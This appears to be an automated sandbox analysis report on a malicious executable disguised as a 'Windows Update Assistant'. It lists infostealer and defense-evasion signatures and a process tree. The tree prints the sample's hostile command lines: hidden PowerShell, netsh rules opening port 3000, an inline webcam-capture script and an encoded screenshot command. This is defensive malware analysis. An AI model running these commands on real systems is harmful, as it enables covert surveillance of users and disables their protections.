Overview

overview

10

Static

static

3

_90655d321...b6.exe

windows10-2004-x64

10

_90655d321...b6.exe

windows11-21h2-x64

10

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows11-21h2-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

$PLUGINSDI...em.dll

windows11-21h2-x64

3

LICENSES.c...m.html

windows10-2004-x64

4

LICENSES.c...m.html

windows11-21h2-x64

4

Windows Up...nt.exe

windows10-2004-x64

10

Windows Up...nt.exe

windows11-21h2-x64

10

d3dcompiler_47.dll

windows10-2004-x64

1

ffmpeg.dll

windows10-2004-x64

1

ffmpeg.dll

windows11-21h2-x64

1

libEGL.dll

windows10-2004-x64

1

libEGL.dll

windows11-21h2-x64

1

libGLESv2.dll

windows10-2004-x64

1

libGLESv2.dll

windows11-21h2-x64

1

resources/elevate.exe

windows10-2004-x64

3

resources/elevate.exe

windows11-21h2-x64

3

vk_swiftshader.dll

windows10-2004-x64

1

vk_swiftshader.dll

windows11-21h2-x64

1

vulkan-1.dll

windows10-2004-x64

1

vulkan-1.dll

windows11-21h2-x64

1

$PLUGINSDI...7z.dll

windows10-2004-x64

3

$PLUGINSDI...7z.dll

windows11-21h2-x64

3

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/06/2026, 10:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _90655d3212d303734929376c544717bea52525fc1b7b7622bee025453dab1ab6.exe
  • Size 81.8MB
  • Sample260601-l6331sa15l
  • SHA256 90655d3212d303734929376c544717bea52525fc1b7b7622bee025453dab1ab6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Modifies Windows Firewall 2 TTPs 4 IoCs
    defense_evasion
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 29 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 1 IoCs
    defense_evasiontrojan
  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 4 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\_90655d3212d303734929376c544717bea52525fc1b7b7622bee025453dab1ab6.exe
    "C:\Users\Admin\AppData\Local\Temp\_90655d3212d303734929376c544717bea52525fc1b7b7622bee025453dab1ab6.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
      "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Checks processor information in registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1432
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\a_35a9989e.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\a_35a9989e.cs""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2372
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\a_35a9989e.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\a_35a9989e.cs"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1532
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES75C7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC343601698D544725B77368A316FC405C.TMP"
            5⤵
              PID:3748
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\a_35a9989e.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3724
          • C:\Users\Admin\AppData\Local\Temp\a_35a9989e.exe
            C:\Users\Admin\AppData\Local\Temp\a_35a9989e.exe
            4⤵
            • Executes dropped EXE
            PID:4104
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\e_73486086.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\e_73486086.cs""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1648
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\e_73486086.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\e_73486086.cs"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4756
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES779C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6839EB7ED4C44FC3A0DAD56BF734E93E.TMP"
              5⤵
                PID:1816
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\e_73486086.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1064
            • C:\Users\Admin\AppData\Local\Temp\e_73486086.exe
              C:\Users\Admin\AppData\Local\Temp\e_73486086.exe
              4⤵
              • Executes dropped EXE
              PID:2988
          • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
            "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1576 --field-trial-handle=1800,i,11862017158714063402,11459643881520108095,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2424
          • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
            "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --mojo-platform-channel-handle=2028 --field-trial-handle=1800,i,11862017158714063402,11459643881520108095,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:3796
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\d_3de36092.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\d_3de36092.cs""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4520
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\d_3de36092.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\d_3de36092.cs"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2780
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83D1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE85038244FEE4C39AC522CC7C8DFB2A.TMP"
                5⤵
                  PID:1492
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\d_3de36092.exe"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4672
              • C:\Users\Admin\AppData\Local\Temp\d_3de36092.exe
                C:\Users\Admin\AppData\Local\Temp\d_3de36092.exe
                4⤵
                • Modifies Windows Defender Real-time Protection settings
                • Modifies Windows Defender TamperProtection settings
                • Executes dropped EXE
                • Windows security modification
                • Suspicious use of AdjustPrivilegeToken
                PID:968
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -File C:\Users\Admin\AppData\Local\Temp\loader_1780308793133.ps1
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2708
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dd2cooos\dd2cooos.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4072
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8894.tmp" "c:\Users\Admin\AppData\Local\Temp\dd2cooos\CSC6AD4DF6B9C434C3AA13A8BDC14BF24C2.TMP"
                  5⤵
                    PID:8
              • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
                "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --screenwatch
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:2528
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall firewall add rule name="ScreenWatch" dir=in action=allow protocol=TCP localport=3000"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1900
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="ScreenWatch" dir=in action=allow protocol=TCP localport=3000
                    5⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4008
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall firewall add rule name="ScreenWatch" dir=out action=allow protocol=TCP localport=3000"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1748
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="ScreenWatch" dir=out action=allow protocol=TCP localport=3000
                    5⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:3384
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall firewall add rule name="ScreenWatch-UDP" dir=in action=allow protocol=UDP localport=3000"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2492
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="ScreenWatch-UDP" dir=in action=allow protocol=UDP localport=3000
                    5⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:2208
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall firewall add rule name="ScreenWatch-UDP" dir=out action=allow protocol=UDP localport=3000"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4404
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="ScreenWatch-UDP" dir=out action=allow protocol=UDP localport=3000
                    5⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:2180
                • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
                  "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1628 --field-trial-handle=1696,i,17544637421629252773,17319300656192019843,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4044
                • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
                  "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --mojo-platform-channel-handle=1760 --field-trial-handle=1696,i,17544637421629252773,17319300656192019843,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2896
                • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
                  "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --app-path="C:\ProgramData\WindowsUpdate\Launcher\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2256 --field-trial-handle=1696,i,17544637421629252773,17319300656192019843,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3248
                • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
                  "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --app-path="C:\ProgramData\WindowsUpdate\Launcher\resources\app.asar" --no-sandbox --no-zygote --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2492 --field-trial-handle=1696,i,17544637421629252773,17319300656192019843,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4324
                • C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe
                  "C:\ProgramData\WindowsUpdate\Launcher\Windows Update Assistant.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --user-data-dir="C:\Users\Admin\AppData\Roaming\windows-update-assistant" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1688 --field-trial-handle=1696,i,17544637421629252773,17319300656192019843,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1356
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\h_e50698c3.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\h_e50698c3.cs""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3616
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\h_e50698c3.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\h_e50698c3.cs"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4396
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85F4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD47058AED90E4CD0A34A2CCC94984B4.TMP"
                    5⤵
                      PID:4028
                • C:\Users\Admin\AppData\Local\Temp\h_e50698c3.exe
                  C:\Users\Admin\AppData\Local\Temp\h_e50698c3.exe
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4864
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\i_8357e5e2.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\i_8357e5e2.cs""
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3732
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\i_8357e5e2.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\i_8357e5e2.cs"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4620
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8846.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC956A48F1DE4D41928CF919FC506CAC7.TMP"
                      5⤵
                        PID:3624
                  • C:\Users\Admin\AppData\Local\Temp\i_8357e5e2.exe
                    C:\Users\Admin\AppData\Local\Temp\i_8357e5e2.exe
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2524
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\h_261Ypr0q.exe" /target:winexe /platform:x64 /optimize+ /debug- /nologo "C:\Users\Admin\AppData\Local\Temp\h_wa6QyRy8.cs""
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1768
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\h_261Ypr0q.exe" /target:winexe /platform:x64 /optimize+ /debug- /nologo "C:\Users\Admin\AppData\Local\Temp\h_wa6QyRy8.cs"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4900
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8BB1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC431D006A5417444DB41AC2C3BCEE9C4.TMP"
                        5⤵
                          PID:2588
                    • C:\Users\Admin\AppData\Local\Temp\h_261Ypr0q.exe
                      C:\Users\Admin\AppData\Local\Temp\h_261Ypr0q.exe
                      3⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:904
                      • C:\Windows\System32\Taskmgr.exe
                        "C:\Windows\System32\Taskmgr.exe"
                        4⤵
                        • Loads dropped DLL
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: GetForegroundWindowSpam
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:4788
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\h_d07e8030.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\h_d07e8030.cs""
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4068
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"C:\Users\Admin\AppData\Local\Temp\h_d07e8030.exe" /nologo /optimize+ "C:\Users\Admin\AppData\Local\Temp\h_d07e8030.cs"
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4476
                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8DA5.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC57BE8FA5EBDD41DEBFECE9E4494DE011.TMP"
                          5⤵
                            PID:2056
                      • C:\Users\Admin\AppData\Local\Temp\h_d07e8030.exe
                        C:\Users\Admin\AppData\Local\Temp\h_d07e8030.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4540
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command " Add-Type -MemberDefinition '[DllImport(\"avicap32.dll\")]public static extern IntPtr capCreateCaptureWindow(string a,int b,int c,int d,int e,int f,IntPtr g,int h);[DllImport(\"user32.dll\")]public static extern int SendMessage(IntPtr a,int b,int c,int d);' -Name \"Webcam\" -PassThru $hwnd = [Webcam]::capCreateCaptureWindow(\"\", 0, 0, 0, 320, 240, [IntPtr]::Zero, 0) if ($hwnd -eq [IntPtr]::Zero) { exit 1 } [Webcam]::SendMessage($hwnd, 0x40A, 0, 0) | Out-Null Start-Sleep 2 [Webcam]::SendMessage($hwnd, 0x419, 0, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\webcam_1780308795571.bmp\") | Out-Null [Webcam]::SendMessage($hwnd, 0x40B, 0, 0) | Out-Null ""
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4812
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2464
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKACQAYgBvAHUAbgBkAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAHkAcwB0AGUAbQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AXQA6ADoAVgBpAHIAdAB1AGEAbABTAGMAcgBlAGUAbgAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0AAoAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAaQB0AG0AYQBwACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBYACwAIAAkAGIAbwB1AG4AZABzAC4AWQAsACAAMAAsACAAMAAsACAAJABiAG8AdQBuAGQAcwAuAFMAaQB6AGUAKQAKACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAYwByAGUAZQBuAHMAaABvAHQAXwAxADcAOAAwADMAMAA4ADcAOQA1ADkAMQA0AC4AcABuAGcAIgAsACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEQAaQBzAHAAbwBzAGUAKAApAAoAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoAIgBPAEsAIgA="
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4972
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
